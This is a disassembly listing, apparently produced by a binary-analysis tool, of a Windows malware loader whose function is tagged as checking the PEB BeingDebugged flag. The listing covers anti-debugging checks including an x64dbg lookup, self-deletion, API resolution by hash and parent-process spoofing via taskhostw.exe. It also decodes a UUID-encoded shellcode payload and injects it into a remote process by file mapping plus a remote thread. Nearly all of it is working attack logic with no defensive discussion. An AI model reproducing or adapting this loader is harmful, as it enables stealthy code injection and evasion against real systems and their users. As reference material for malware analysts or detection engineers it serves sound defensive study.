Function at 0x140001bd0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
sub rsp, 0x88
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rcx, str.KERNEL32.DLL
call fcn.140001240
mov rcx, rax
mov edx, 0xb2497451
call fcn.1400010d0
lea r8, str.ControlMutex
xor edx, edx
xor ecx, ecx
call rax
test rax, rax
je 0x140001c41
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001c41
lea rcx, str.Program_already_running
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140002180
add rsp, 0x88
ret
mov rax, qword gs:[0x60]
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rsi
lea rsi, [0x140003de8]
mov qword [rsp + 0xa8], rdi
lea rdi, str.x64dbg.exe
mov qword [rsp + 0x70], r15
xor r15d, r15d
cmp byte [rax + 2], 1
mov ebx, r15d
mov dword [rsp + 0x40], r15d
sete bl
mov qword [rsp + 0x48], r15
lea ebp, [r15 + 1]
nop dword [rax + rax]
mov rcx, qword [rdi]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
call fcn.140001550
test eax, eax
cmovne ebx, ebp
add rdi, 8
cmp rdi, rsi
jl 0x140001ca0
test ebx, ebx
je 0x140001cf6
call fcn.1400016d0
test eax, eax
je 0x140001ce0
lea rcx, str.Being_debugged__self_deleting
call fcn.140001010
xor eax, eax
jmp 0x1400020b7
lea rcx, str.Self_deletion_failed
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400020b7
lea rcx, str.NTDLL.DLL
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x5c], r15d
call fcn.140001240
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call fcn.1400013e0
mov rdi, rax
test rax, rax
jne 0x140001d4d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetProcAddress_failed_with_error:__d_n
call fcn.140001010
lea rcx, str.getpid_failed
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400020b7
xor edx, edx
lea r9, [rsp + 0x58]
xor r8d, r8d
lea ecx, [rdx + 5]
call rdi
mov ebx, dword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140001d90
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.HeapAlloc_failed_with_error:__d_n
jmp 0x140001d32
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x5c]
mov rdx, rax
mov ecx, 5
call rdi
test eax, eax
je 0x140001db6
mov edx, eax
lea rcx, str.NtQuerySystemInformation_failed_with_error:_0x_0.8X__n
jmp 0x140001d32
lea r8, str.taskhostw.exe
nop dword [rax]
cmp word [rbx + 0x38], r15w
je 0x140001e93
mov rdx, qword [rbx + 0x40]
mov rax, r15
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [r8 + rax*2]
jne 0x140001e93
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r8 + rax*2 + 2]
jne 0x140001e93
add rax, 2
cmp rax, 0xe
jne 0x140001de0
mov edi, dword [rbx + 0x50]
lea rcx, str.KERNEL32.DLL
call fcn.140001240
mov rcx, rax
mov edx, 0xf4cf8bda
call fcn.1400010d0
mov r8d, dword [rbx + 0x50]
xor edx, edx
mov ecx, 0x1fffff
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001d37
mov edx, edi
lea rcx, str.PID:__d_n
call fcn.140001010
lea rax, [rsp + 0x50]
mov dword [rsp + 0x40], r15d
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x40]
mov qword [rsp + 0x48], r15
mov rcx, rbx
mov qword [rsp + 0x50], r15
call fcn.140001940
test eax, eax
jne 0x140001ea5
lea rcx, str.Failed_to_create_a_spoofed_process
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400020b7
mov eax, dword [rbx]
test eax, eax
je 0x140001d37
add rbx, rax
jmp 0x140001dc0
mov edx, dword [rsp + 0x40]
lea rcx, str.Target_process_created_with_pid:__d
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x78], r14
call fcn.140001010
lea rcx, str.KERNEL32.DLL
call fcn.140001240
mov rcx, rax
mov edx, 0x1b549fd5
call fcn.1400010d0
lea rcx, str.RPCRT4
call rax
mov rcx, rax
lea rdx, str.UuidFromStringA
call fcn.1400013e0
mov rbp, rax
test rax, rax
jne 0x140001f1b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
lea rcx, str.Decryption_failed
jmp 0x1400020a0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x1d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140001f5a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.140001010
lea rcx, str.Decryption_failed
jmp 0x1400020a0
lea r12, str.E48348FC_E8F0_00C0_0000_415141505251
mov rdi, r14
mov rsi, r12
mov ebx, r15d
nop word [rax + rax]
mov rcx, qword [rsi]
mov rdx, rdi
call rbp
test eax, eax
jne 0x140002142
add rdi, 0x10
inc ebx
add rsi, 8
cmp ebx, 0x1d
jb 0x140001f70
mov r8d, 0x1d0
lea rcx, str.Payload_successfully_decrypted_and_present_at_memory_location_0x_p_of_size:__d_n
mov rdx, r14
call fcn.140001010
lea rcx, str.KERNEL32.DLL
call fcn.140001240
mov rcx, rax
mov edx, 0x31d3f840
call fcn.1400010d0
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rsp + 0x20], 0x1d0
lea r8d, [r9 + 0x40]
lea rcx, [rdx - 1]
call rax
mov rbx, rax
test rax, rax
jne 0x140001fed
lea rbx, str.CreateFileMappingW_failed_with_error:__d_n
jmp 0x140002089
lea rcx, str.KERNEL32.DLL
call fcn.140001240
mov rcx, rax
mov edx, 0x8212c207
call fcn.1400010d0
xor r9d, r9d
mov qword [rsp + 0x20], 0x1d0
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 2]
call rax
test rax, rax
jne 0x14000202c
lea rbx, str.MapViewofFile_failed_with_error:__d_n
jmp 0x140002089
mov r8d, 0x1d0
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.Api_ms_win_core_memory_l1_1_5.dll
call fcn.140001240
mov rdi, qword [rsp + 0x48]
xor r9d, r9d
mov dword [rsp + 0x38], 0xffffffff
mov rdx, rdi
mov dword [rsp + 0x30], 0x20
xor r8d, r8d
mov dword [rsp + 0x28], r15d
mov rcx, rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_MapViewOfFileNuma2]
mov rbx, rax
test rax, rax
jne 0x1400020f1
lea rbx, str.MapViewOfFile2_failed_with_errror:__d_n
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140001010
lea rcx, str.remotemapinjection_failed
call fcn.140001010
mov eax, 0xffffffff
mov r14, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
mov r15, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140002180
add rsp, 0x88
ret
mov rdx, rbx
lea rcx, str.Remote_address_is:_0x_p_n
call fcn.140001010
lea rcx, str.KERNEL32.DLL
call fcn.140001240
mov rcx, rax
mov edx, 0xd15dc0b1
call fcn.1400010d0
mov qword [rsp + 0x30], r15
mov r9, rbx
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rdi
call rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400020aa
movsxd rdx, ebx
lea rcx, str.____UuidFromStringA__Failed_At___s__With_Error_0x_0.8X_n
mov r8d, eax
mov rdx, qword [r12 + rdx*8]
call fcn.140001010
lea rcx, str.Decryption_failed
jmp 0x1400020a0